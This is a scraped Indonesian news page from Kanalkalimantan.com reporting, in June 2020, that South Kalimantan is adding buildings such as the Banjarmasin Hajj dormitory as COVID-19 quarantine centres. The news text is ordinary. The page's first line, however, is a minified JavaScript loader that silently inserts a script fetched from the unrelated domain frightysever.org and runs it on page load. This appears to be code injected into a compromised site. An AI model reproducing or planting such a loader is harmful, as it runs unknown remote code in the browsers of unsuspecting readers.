(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Hingga Selasa (16/6/2020) sore, jumlah kasus terkonfirmasi positif Covid-19 di Kalimantan Selatan mencapai 2.123 kasus. Sebagian besar merupakan orang-orang tanpa gejala atau gejala ringan.
Saat ini, Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel memanfaatkan beberapa gedung sebagai pusat karantina. Seperti Gedung Diklat Ambulung dan Gedung Balai Pelatihan Kesehatan (Bapelkes) Kalsel, yang keduanya berada di Kota Banjarbaru.
Wakil Ketua Harian Tim Gugus Tugas P2 Covid-19 Kalsel Dr. Hanif Faisol Nurofiq mengungkapkan, saat ini Gedung BPSDMD Kalsel di Jalan Panglima Batur Banjarbaru juga diaktifkan sebagai pusat karantina. Selain itu, Hanif mengungkapkan Asrama Embarkasi Haji Banjarmasin di Landasan Ulin, Kota Banjarbaru juga akan dipergunakan sebagai pusat karantina.
“Untuk Asrama Haji sedang dipasang AC sebanyak 51 unit, sehingga baru 30an orang bisa masuk,” kata Hanif di Banjarmasin, Rabu (17/6/2020) pagi.
Menurut Plt. Kepala BPBD Provinsi Kalsel ini, gedung Asrama Haji akan diaktifkan sebagai pusat karantina pada pekan depan. Sebenarnya, gedung-gedung belakang di kompleks Asrama Haji Embarkasi Banjarmasin sudah bisa ditempati, hanya saja agar meminimalisir pekerjaan, saat ini orang-orang positif Covid-19 masih ditempatkan di Gedung Diklat Ambulung dan Gedung BPSDMD Kalsel.
Nantinya, Asrama Haji akan menampung sekitar 200 orang yang dinyatakan positif Covid-19 namun tidak memiliki gejala ataupun gejala ringan. “Tidak terlalu banyak. Karena (gedung) yang di depan untuk operasional kantor yang cukup besar sehingga tidak bisa diganggu. Sehingga belum bisa,” jelas Hanif.
Saat ini, sudah ada tiga tempat pusat karantina khusus pasien positif Covid-19 yang semuanya berada di Kota Banjarbaru. Ditambah masing-masing satu tempat karantina khusus di Kabupaten Kotabaru dan Kabupaten Tabalong. “Semuanya berada di bawah kendali Pemprov. Supaya ada penanganan yang intensif,” pungkas Hanif.
Terpisah, Kepala Kanwil Kementerian Agama Kalsel H. Noor Fahmi mengatakan, Asrama Haji sudah lama dipersiapkan pihak UPT Asrama Haji. “Tinggal Tim Gugus Tugas P2 Covid-19 Kalsel saja lagi membenahi untuk selayaknya penempatan karantina pasien Covid-19,” ucap Fahmi.
Fahmi memastikan, masalah perizinan dengan pihak Kementerian Agama pun sudah dikantongi. Karena, penggunaan Asrama Haji sebagai pusat karantina khusus Covid-19 mendapat persetujuan sejak awal bulan Mei 2020 lalu. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.